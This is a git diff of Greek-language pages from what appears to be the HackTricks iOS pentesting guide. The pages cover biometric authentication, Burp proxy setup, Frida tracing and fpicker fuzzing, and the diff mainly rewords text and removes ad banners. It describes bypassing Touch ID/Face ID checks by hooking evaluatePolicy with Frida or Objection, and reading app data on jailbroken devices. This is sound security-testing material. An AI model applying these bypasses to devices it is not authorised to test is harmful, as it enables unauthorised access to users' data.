ios monitor crypt
```
Για **περισσότερες πληροφορίες** σχετικά με τα κρυπτογραφικά APIs και βιβλιοθήκες iOS, επισκεφθείτε [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
Για **περισσότερες πληροφορίες** σχετικά με τις κρυπτογραφικές APIs και βιβλιοθήκες iOS, επισκεφθείτε [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
## Τοπική Αυθεντικοποίηση
Η **τοπική αυθεντικοποίηση** παίζει κρίσιμο ρόλο, ειδικά όταν αφορά την προστασία της πρόσβασης σε ένα απομακρυσμένο σημείο μέσω κρυπτογραφικών μεθόδων. Η ουσία εδώ είναι ότι χωρίς σωστή υλοποίηση, οι μηχανισμοί τοπικής αυθεντικοποίησης μπορούν να παρακαμφθούν.
Το [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρά APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα.
Το [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρές APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα.
Για να ενσωματώσουν το Touch ID/Face ID, οι προγραμματιστές έχουν δύο επιλογές API:
Για την ενσωμάτωση του Touch ID/Face ID, οι προγραμματιστές έχουν δύο επιλογές API:
- **`LocalAuthentication.framework`** για αυθεντικοποίηση χρηστών υψηλού επιπέδου χωρίς πρόσβαση σε βιομετρικά δεδομένα.
- **`Security.framework`** για πρόσβαση σε υπηρεσίες keychain χαμηλού επιπέδου, ασφαλίζοντας μυστικά δεδομένα με βιομετρική αυθεντικοποίηση. Διάφοροι [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) διευκολύνουν την πρόσβαση στο keychain.
@ -759,7 +738,7 @@ ios monitor crypt
Για να ζητήσουν από τους χρήστες αυθεντικοποίηση, οι προγραμματιστές θα πρέπει να χρησιμοποιήσουν τη μέθοδο **`evaluatePolicy`** μέσα στην κλάση **`LAContext`**, επιλέγοντας μεταξύ:
- **`deviceOwnerAuthentication`**: Ζητάει Touch ID ή κωδικό πρόσβασης συσκευής, αποτυγχάνει αν κανένα από τα δύο δεν είναι ενεργοποιημένο.
- **`deviceOwnerAuthentication`**: Ζητάει Touch ID ή κωδικό πρόσβασης συσκευής, αποτυγχάνοντας αν κανένα από τα δύο δεν είναι ενεργοποιημένο.
- **`deviceOwnerAuthenticationWithBiometrics`**: Ζητάει αποκλειστικά Touch ID.
Μια επιτυχής αυθεντικοποίηση υποδεικνύεται από μια boolean τιμή επιστροφής από το **`evaluatePolicy`**, υποδεικνύοντας μια πιθανή αδυναμία ασφαλείας.
@ -770,7 +749,7 @@ ios monitor crypt
Το keychain προσφέρει τη δυνατότητα να ορίσετε στοιχεία με το χαρακτηριστικό `SecAccessControl`, το οποίο περιορίζει την πρόσβαση στο στοιχείο μέχρι ο χρήστης να αυθεντικοποιηθεί επιτυχώς μέσω Touch ID ή κωδικού πρόσβασης συσκευής. Αυτή η δυνατότητα είναι κρίσιμη για την ενίσχυση της ασφάλειας.
Παρακάτω παρατίθενται παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε μια συμβολοσειρά από/στο keychain, εκμεταλλευόμενοι αυτές τις δυνατότητες ασφαλείας. Τα παραδείγματα δείχνουν συγκεκριμένα πώς να ρυθμίσετε τον έλεγχο πρόσβασης ώστε να απαιτείται αυθεντικοποίηση Touch ID και να διασφαλίσετε ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή στην οποία ρυθμίστηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί κωδικός πρόσβασης συσκευής.
Παρακάτω παρατίθενται παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε μια συμβολοσειρά από/στο keychain, εκμεταλλευόμενοι αυτές τις δυνατότητες ασφαλείας. Τα παραδείγματα δείχνουν συγκεκριμένα πώς να ρυθμίσετε τον έλεγχο πρόσβασης ώστε να απαιτεί αυθεντικοποίηση Touch ID και να διασφαλίσετε ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή στην οποία ρυθμίστηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί κωδικός πρόσβασης συσκευής.
{{#tabs}}
{{#tab name="Swift"}}
@ -912,7 +891,7 @@ $ otool -L <AppName>.app/<AppName>
#### **Objection**
Μέσω της **Παράκαμψης Βιομετρικών Δεδομένων Objection**, που βρίσκεται [σε αυτή τη σελίδα του GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), διατίθεται μια τεχνική για την υπέρβαση του μηχανισμού **LocalAuthentication**. Ο πυρήνας αυτής της προσέγγισης περιλαμβάνει την εκμετάλλευση του **Frida** για την παραποίηση της συνάρτησης `evaluatePolicy`, διασφαλίζοντας ότι αποδίδει πάντα ένα αποτέλεσμα `True`, ανεξαρτήτως της πραγματικής επιτυχίας αυθεντικοποίησης. Αυτό είναι ιδιαίτερα χρήσιμο για την παράκαμψη ελαττωματικών διαδικασιών βιομετρικής αυθεντικοποίησης.
Μέσω της **Objection Biometrics Bypass**, που βρίσκεται [σε αυτή τη σελίδα του GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), διατίθεται μια τεχνική για την υπέρβαση του μηχανισμού **LocalAuthentication**. Ο πυρήνας αυτής της προσέγγισης περιλαμβάνει την εκμετάλλευση του **Frida** για την παραποίηση της συνάρτησης `evaluatePolicy`, διασφαλίζοντας ότι αποδίδει πάντα ένα αποτέλεσμα `True`, ανεξαρτήτως της πραγματικής επιτυχίας αυθεντικοποίησης. Αυτό είναι ιδιαίτερα χρήσιμο για την παράκαμψη ελαττωματικών διαδικασιών βιομετρικής αυθεντικοποίησης.
Για να ενεργοποιηθεί αυτή η παράκαμψη, χρησιμοποιείται η εξής εντολή:
```bash
@ -927,7 +906,7 @@ $ otool -L <AppName>.app/<AppName>
#### Frida
Ένα παράδειγμα χρήσης του **`evaluatePolicy`** από την εφαρμογή [DVIA-v2](https://github.com/prateek147/DVIA-v2):
Ένα παράδειγμα χρήσης του **`evaluatePolicy`** από την [DVIA-v2 εφαρμογή](https://github.com/prateek147/DVIA-v2):
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@ -1038,8 +1017,8 @@ burp-configuration-for-ios.md
### Έλεγχος Ονόματος Κεντρικού Υπολογιστή
Ένα κοινό ζήτημα στην επικύρωση του πιστοποιητικού TLS είναι να ελέγξετε ότι το πιστοποιητικό έχει υπογραφεί από μια **έμπιστη** **CA**, αλλά **όχι να ελέγξετε** αν **το όνομα κεντρικού υπολογιστή** του πιστοποιητικού είναι το όνομα κεντρικού υπολογιστή που προσπελάζεται.\
Για να ελέγξετε αυτό το ζήτημα χρησιμοποιώντας το Burp, αφού εμπιστευθείτε το Burp CA στο iPhone, μπορείτε να **δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για έναν διαφορετικό όνομα κεντρικού υπολογιστή** και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε κάτι είναι ευάλωτο.
Ένα κοινό ζήτημα στην επικύρωση του πιστοποιητικού TLS είναι να ελέγξετε ότι το πιστοποιητικό έχει υπογραφεί από μια **έμπιστη** **CA**, αλλά **όχι να ελέγξετε** αν **το όνομα του κεντρικού υπολογιστή** του πιστοποιητικού είναι το όνομα του κεντρικού υπολογιστή που προσπελάζεται.\
Για να ελέγξετε αυτό το ζήτημα χρησιμοποιώντας το Burp, αφού εμπιστευτείτε την CA του Burp στο iPhone, μπορείτε να **δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για έναν διαφορετικό κεντρικό υπολογιστή** και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε κάτι είναι ευάλωτο.
### Pinning Πιστοποιητικού
@ -1050,18 +1029,18 @@ burp-configuration-for-ios.md
## Διάφορα
- Στο **`/System/Library`** μπορείτε να βρείτε τα frameworks που είναι εγκατεστημένα στο τηλέφωνο που χρησιμοποιούνται από τις συστημικές εφαρμογές
- Στο **`/System/Library`** μπορείτε να βρείτε τα frameworks που είναι εγκατεστημένα στο τηλέφωνο και χρησιμοποιούνται από τις συστημικές εφαρμογές
- Οι εφαρμογές που εγκαθίστανται από τον χρήστη από το App Store βρίσκονται μέσα στο **`/User/Applications`**
- Και το **`/User/Library`** περιέχει δεδομένα που αποθηκεύονται από τις εφαρμογές επιπέδου χρήστη
- Μπορείτε να αποκτήσετε πρόσβαση στο **`/User/Library/Notes/notes.sqlite`** για να διαβάσετε τις σημειώσεις που αποθηκεύονται μέσα στην εφαρμογή.
- Μέσα στον φάκελο μιας εγκατεστημένης εφαρμογής (**`/User/Applications/<APP ID>/`**) μπορείτε να βρείτε μερικά ενδιαφέροντα αρχεία:
- **`iTunesArtwork`**: Το εικονίδιο που χρησιμοποιείται από την εφαρμογή
- **`iTunesMetadata.plist`**: Πληροφορίες της εφαρμογής που χρησιμοποιούνται στο App Store
- **`/Library/*`**: Περιέχει τις προτιμήσεις και την προσωρινή μνήμη. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το στιγμιότυπο που πραγματοποιήθηκε στην εφαρμογή πριν την αποστολή της στο παρασκήνιο.
- **`/Library/*`**: Περιέχει τις προτιμήσεις και την προσωρινή μνήμη. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το snapshot που πραγματοποιήθηκε στην εφαρμογή πριν την αποστολή της στο παρασκήνιο.
### Hot Patching/Επιβεβλημένη Ενημέρωση
Οι προγραμματιστές μπορούν απομακρυσμένα **να διορθώσουν όλες τις εγκαταστάσεις της εφαρμογής τους άμεσα** χωρίς να χρειάζεται να υποβάλουν ξανά την εφαρμογή στο App Store και να περιμένουν μέχρι να εγκριθεί.\
Οι προγραμματιστές μπορούν απομακρυσμένα να **διορθώσουν όλες τις εγκαταστάσεις της εφαρμογής τους άμεσα** χωρίς να χρειάζεται να υποβάλουν ξανά την εφαρμογή στο App Store και να περιμένουν μέχρι να εγκριθεί.\
Για αυτό το σκοπό συνήθως χρησιμοποιείται το [**JSPatch**](https://github.com/bang590/JSPatch)**.** Αλλά υπάρχουν και άλλες επιλογές όπως το [Siren](https://github.com/ArtSabintsev/Siren) και το [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Αυτός είναι ένας επικίνδυνος μηχανισμός που θα μπορούσε να καταχραστεί από κακόβουλα SDK τρίτων, επομένως συνιστάται να ελέγξετε ποια μέθοδος χρησιμοποιείται για την αυτόματη ενημέρωση (αν υπάρχει) και να την δοκιμάσετε.** Μπορείτε να προσπαθήσετε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής για αυτό το σκοπό.
@ -1101,15 +1080,9 @@ otool -L <application_path>
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
- [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
- [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Έκδοση Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Έκδοση Swift
- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C έκδοση [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift έκδοση
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) για να δημιουργήσετε εύκολα και **να αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## Εγκατάσταση του Πιστοποιητικού Burp σε Συσκευές iOS
Για ανάλυση ασφαλούς διαδικτυακής κίνησης και SSL pinning σε συσκευές iOS, η Burp Suite μπορεί να χρησιμοποιηθεί είτε μέσω του **Burp Mobile Assistant** είτε μέσω χειροκίνητης ρύθμισης. Παρακάτω παρατίθεται ένας συνοπτικός οδηγός και για τις δύο μεθόδους:
Για την ασφαλή ανάλυση διαδικτυακής κίνησης και SSL pinning σε συσκευές iOS, το Burp Suite μπορεί να χρησιμοποιηθεί είτε μέσω του **Burp Mobile Assistant** είτε μέσω χειροκίνητης ρύθμισης. Παρακάτω παρατίθεται ένας συνοπτικός οδηγός και για τις δύο μεθόδους:
### Αυτοματοποιημένη Εγκατάσταση με Burp Mobile Assistant
@ -20,40 +12,40 @@
### Βήματα Χειροκίνητης Εγκατάστασης
1. **Ρύθμιση Proxy:** Ξεκινήστε ρυθμίζοντας την Burp ως proxy στις ρυθμίσεις Wi-Fi του iPhone.
1. **Ρύθμιση Proxy:** Ξεκινήστε ρυθμίζοντας το Burp ως proxy στις ρυθμίσεις Wi-Fi του iPhone.
2. **Λήψη Πιστοποιητικού:** Μεταβείτε στο `http://burp` στον περιηγητή της συσκευής σας για να κατεβάσετε το πιστοποιητικό.
3. **Εγκατάσταση Πιστοποιητικού:** Εγκαταστήστε το κατεβασμένο προφίλ μέσω **Ρυθμίσεις** > **Γενικά** > **VPN & Διαχείριση Συσκευής**, στη συνέχεια ενεργοποιήστε την εμπιστοσύνη για την CA του PortSwigger κάτω από **Ρυθμίσεις Εμπιστοσύνης Πιστοποιητικού**.
3. **Εγκατάσταση Πιστοποιητικού:** Εγκαταστήστε το κατεβασμένο προφίλ μέσω **Ρυθμίσεις** > **Γενικά** > **VPN & Διαχείριση Συσκευών**, στη συνέχεια ενεργοποιήστε την εμπιστοσύνη για το CA του PortSwigger κάτω από **Ρυθμίσεις Εμπιστοσύνης Πιστοποιητικού**.
### Ρύθμιση ενός Proxy Παρεμβολής
Η ρύθμιση επιτρέπει την ανάλυση της κίνησης μεταξύ της συσκευής iOS και του διαδικτύου μέσω της Burp, απαιτώντας ένα δίκτυο Wi-Fi που υποστηρίζει κίνηση πελάτη προς πελάτη. Αν δεν είναι διαθέσιμο, μια σύνδεση USB μέσω usbmuxd μπορεί να χρησιμεύσει ως εναλλακτική. Τα σεμινάρια του PortSwigger παρέχουν λεπτομερείς οδηγίες για [τη ρύθμιση της συσκευής](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) και [την εγκατάσταση πιστοποιητικού](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
Η ρύθμιση επιτρέπει την ανάλυση της κίνησης μεταξύ της συσκευής iOS και του διαδικτύου μέσω του Burp, απαιτώντας ένα δίκτυο Wi-Fi που υποστηρίζει κίνηση πελάτη προς πελάτη. Αν δεν είναι διαθέσιμο, μια σύνδεση USB μέσω του usbmuxd μπορεί να χρησιμεύσει ως εναλλακτική. Τα σεμινάρια του PortSwigger παρέχουν λεπτομερείς οδηγίες για [τη ρύθμιση της συσκευής](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) και [την εγκατάσταση πιστοποιητικού](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
### Προχωρημένη Ρύθμιση για Jailbroken Συσκευές
Για χρήστες με jailbroken συσκευές, το SSH μέσω USB (μέσω **iproxy**) προσφέρει μια μέθοδο για να δρομολογήσετε την κίνηση απευθείας μέσω της Burp:
Για χρήστες με jailbroken συσκευές, το SSH μέσω USB (μέσω **iproxy**) προσφέρει μια μέθοδο για να δρομολογήσετε την κίνηση απευθείας μέσω του Burp:
1. **Δημιουργία Σύνδεσης SSH:** Χρησιμοποιήστε το iproxy για να προωθήσετε το SSH στο localhost, επιτρέποντας τη σύνδεση από τη συσκευή iOS στον υπολογιστή που εκτελεί την Burp.
1. **Δημιουργία Σύνδεσης SSH:** Χρησιμοποιήστε το iproxy για να προωθήσετε το SSH στο localhost, επιτρέποντας τη σύνδεση από τη συσκευή iOS στον υπολογιστή που εκτελεί το Burp.
```bash
iproxy 2222 22
```
2. **Προώθηση Απομακρυσμένου Θυρίδας:** Προωθήστε τη θύρα 8080 της συσκευής iOS στον localhost του υπολογιστή για να επιτρέψετε άμεση πρόσβαση στη διεπαφή της Burp.
2. **Προώθηση Απομακρυσμένου Θυρίδας:** Προωθήστε τη θύρα 8080 της συσκευής iOS στον localhost του υπολογιστή για να επιτρέψετε άμεση πρόσβαση στη διεπαφή του Burp.
```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222
```
3. **Ρύθμιση Παγκόσμιου Proxy:** Τέλος, ρυθμίστε τις ρυθμίσεις Wi-Fi της συσκευής iOS να χρησιμοποιούν έναν χειροκίνητο proxy, κατευθύνοντας όλη την διαδικτυακή κίνηση μέσω της Burp.
3. **Ρύθμιση Παγκόσμιου Proxy:** Τέλος, ρυθμίστε τις ρυθμίσεις Wi-Fi της συσκευής iOS να χρησιμοποιούν έναν χειροκίνητο proxy, κατευθύνοντας όλη την διαδικτυακή κίνηση μέσω του Burp.
### Πλήρης Παρακολούθηση/Σάρωση Δικτύου
Η παρακολούθηση της μη-HTTP κίνησης της συσκευής μπορεί να διεξαχθεί αποτελεσματικά χρησιμοποιώντας το **Wireshark**, ένα εργαλείο ικανό να καταγράφει όλες τις μορφές δεδομένων κίνησης. Για συσκευές iOS, η παρακολούθηση της κίνησης σε πραγματικό χρόνο διευκολύνεται μέσω της δημιουργίας μιας Απομακρυσμένης Εικονικής Διεπαφής, μια διαδικασία που περιγράφεται [σε αυτήν την ανάρτηση του Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Πριν ξεκινήσετε, η εγκατάσταση του **Wireshark** σε ένα σύστημα macOS είναι προαπαιτούμενη.
Η παρακολούθηση της μη-HTTP κίνησης της συσκευής μπορεί να διεξαχθεί αποτελεσματικά χρησιμοποιώντας το **Wireshark**, ένα εργαλείο ικανό να καταγράφει όλες τις μορφές δεδομένων κίνησης. Για τις συσκευές iOS, η παρακολούθηση της κίνησης σε πραγματικό χρόνο διευκολύνεται μέσω της δημιουργίας μιας Απομακρυσμένης Εικονικής Διεπαφής, μια διαδικασία που περιγράφεται [σε αυτήν την ανάρτηση του Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Πριν ξεκινήσετε, η εγκατάσταση του **Wireshark** σε ένα σύστημα macOS είναι προαπαιτούμενη.
Η διαδικασία περιλαμβάνει αρκετά βασικά βήματα:
1. Δημιουργήστε μια σύνδεση μεταξύ της συσκευής iOS και του macOS host μέσω USB.
2. Επιβεβαιώστε το **UDID** της συσκευής iOS, ένα απαραίτητο βήμα για την παρακολούθηση της κίνησης. Αυτό μπορεί να γίνει εκτελώντας μια εντολή στο Terminal του macOS:
1. Ξεκινήστε μια σύνδεση μεταξύ της συσκευής iOS και του macOS host μέσω USB.
2. Διαπιστώστε το **UDID** της συσκευής iOS, ένα απαραίτητο βήμα για την παρακολούθηση της κίνησης. Αυτό μπορεί να γίνει εκτελώντας μια εντολή στο Terminal του macOS:
```bash
$ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0
@ -78,7 +70,7 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
**Συγχαρητήρια, έχετε ρυθμίσει επιτυχώς το Πιστοποιητικό CA του Burp στον προσομοιωτή iOS**
> [!NOTE]
> **Ο προσομοιωτής iOS θα χρησιμοποιήσει τις ρυθμίσεις proxy του MacOS.**
> **Ο προσομοιωτής iOS θα χρησιμοποιεί τις ρυθμίσεις proxy του MacOS.**
### Ρύθμιση Proxy MacOS
@ -90,13 +82,7 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
![](<../../images/image (431).png>)
- Κάντε κλικ στο _**Ok**_ και μετά στο _**Apply**_
- Κάντε κλικ στο _**Ok**_ και μετά στο _**Apply**_
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Mobile Security** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
## Installing Frida
@ -15,7 +10,7 @@
1. Ανοίξτε την εφαρμογή Cydia/Sileo.
2. Μεταβείτε στο Manage -> Sources -> Edit -> Add.
3. Εισάγετε "https://build.frida.re" ως URL.
4. Μεταβείτε στην πρόσφατα προστιθέμενη πηγή Frida.
4. Πηγαίνετε στην πρόσφατα προστιθέμενη πηγή Frida.
5. Εγκαταστήστε το πακέτο Frida.
Αν χρησιμοποιείτε **Corellium**, θα χρειαστεί να κατεβάσετε την έκδοση Frida από [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) και να την αποσυμπιέσετε και να την αντιγράψετε στη θέση dylib που ζητάει το Frida, π.χ.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
@ -23,9 +18,9 @@
Αφού εγκατασταθεί, μπορείτε να χρησιμοποιήσετε στον υπολογιστή σας την εντολή **`frida-ls-devices`** και να ελέγξετε ότι η συσκευή εμφανίζεται (ο υπολογιστής σας πρέπει να μπορεί να έχει πρόσβαση σε αυτήν).\
Εκτελέστε επίσης **`frida-ps -Uia`** για να ελέγξετε τις τρέχουσες διαδικασίες του τηλεφώνου.
## Frida without Jailbroken device & without patching the app
## Frida χωρίς Jailbroken συσκευή & χωρίς patching της εφαρμογής
Δείτε αυτήν την ανάρτηση στο blog σχετικά με το πώς να χρησιμοποιήσετε το Frida σε μη jailbroken συσκευές χωρίς να κάνετε patch την εφαρμογή: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
Δείτε αυτήν την ανάρτηση ιστολογίου σχετικά με το πώς να χρησιμοποιήσετε το Frida σε μη jailbroken συσκευές χωρίς patching της εφαρμογής: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Frida Client Installation
@ -59,7 +54,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
```
### Πάρε όλες τις κλάσεις και μεθόδους
- Αυτόματη συμπλήρωση: Απλώς εκτέλεσε `frida -U <program>`
- Αυτόματη συμπλήρωση: Απλά εκτέλεσε `frida -U <program>`
<figure><img src="../../images/image (1159).png" alt=""><figcaption></figcaption></figure>
@ -140,7 +135,7 @@ console.log("loaded")
### Frida Stalker
[Από τα έγγραφα](https://frida.re/docs/stalker/): Ο Stalker είναι η **μηχανή ιχνηλάτησης** κώδικα του Frida. Επιτρέπει στους νήματα να **παρακολουθούνται**, **καταγράφοντας** κάθε συνάρτηση, **κάθε μπλοκ**, ακόμη και κάθε εντολή που εκτελείται.
[Από την τεκμηρίωση](https://frida.re/docs/stalker/): Ο Stalker είναι η **μηχανή ιχνηλάτησης** του Frida. Επιτρέπει στους νήματα να **παρακολουθούνται**, **καταγράφοντας** κάθε συνάρτηση, **κάθε μπλοκ**, ακόμη και κάθε εντολή που εκτελείται.
Έχετε ένα παράδειγμα που υλοποιεί τον Frida Stalker στο [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
@ -187,9 +182,9 @@ Stalker.flush() // this is important to get all events
## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker) είναι μια **σουίτα fuzzing βασισμένη σε Frida** που προσφέρει μια ποικιλία τρόπων fuzzing για fuzzing εντός διαδικασίας, όπως ένας τρόπος AFL++ ή ένας παθητικός τρόπος ιχνηλάτησης. Πρέπει να λειτουργεί σε όλες τις πλατφόρμες που υποστηρίζονται από το Frida.
[**fpicker**](https://github.com/ttdennis/fpicker) είναι μια **σουίτα fuzzing βασισμένη σε Frida** που προσφέρει μια ποικιλία τρόπων fuzzing για fuzzing εντός διαδικασίας, όπως μια λειτουργία AFL++ ή μια παθητική λειτουργία ιχνηλάτησης. Πρέπει να λειτουργεί σε όλες τις πλατφόρμες που υποστηρίζονται από το Frida.
- [**Εγκατάσταση του fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
- [**Εγκατάσταση fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
# Get fpicker
git clone https://github.com/ttdennis/fpicker
@ -297,7 +292,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
> [!CAUTION]
> Σε αυτή την περίπτωση **δεν επανεκκινούμε την εφαρμογή ή δεν επαναφέρουμε την κατάσταση** μετά από κάθε payload. Έτσι, αν η Frida βρει μια **κατάρρευση**, οι **επόμενες εισόδους** μετά από αυτό το payload μπορεί επίσης να **καταρρεύσουν την εφαρμογή** (επειδή η εφαρμογή είναι σε ασταθή κατάσταση) ακόμη και αν η **είσοδος δεν θα έπρεπε να καταρρεύσει** την εφαρμογή.
>
> Επιπλέον, η Frida θα συνδεθεί στα σήματα εξαιρέσεων του iOS, οπότε όταν **η Frida βρει μια κατάρρευση**, πιθανώς **δεν θα παραχθούν αναφορές κατάρρευσης του iOS**.
> Επιπλέον, η Frida θα συνδεθεί στα σήματα εξαιρέσεων του iOS, οπότε όταν **η Frida βρει μια κατάρρευση**, πιθανώς **δεν θα παραχθούν αναφορές κατάρρευσης iOS**.
>
> Για να το αποτρέψουμε αυτό, για παράδειγμα, θα μπορούσαμε να επανεκκινήσουμε την εφαρμογή μετά από κάθε κατάρρευση της Frida.
@ -343,10 +338,5 @@ killall -9 logd
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,29 +1,25 @@
{{#include ../../banners/hacktricks-training.md}}
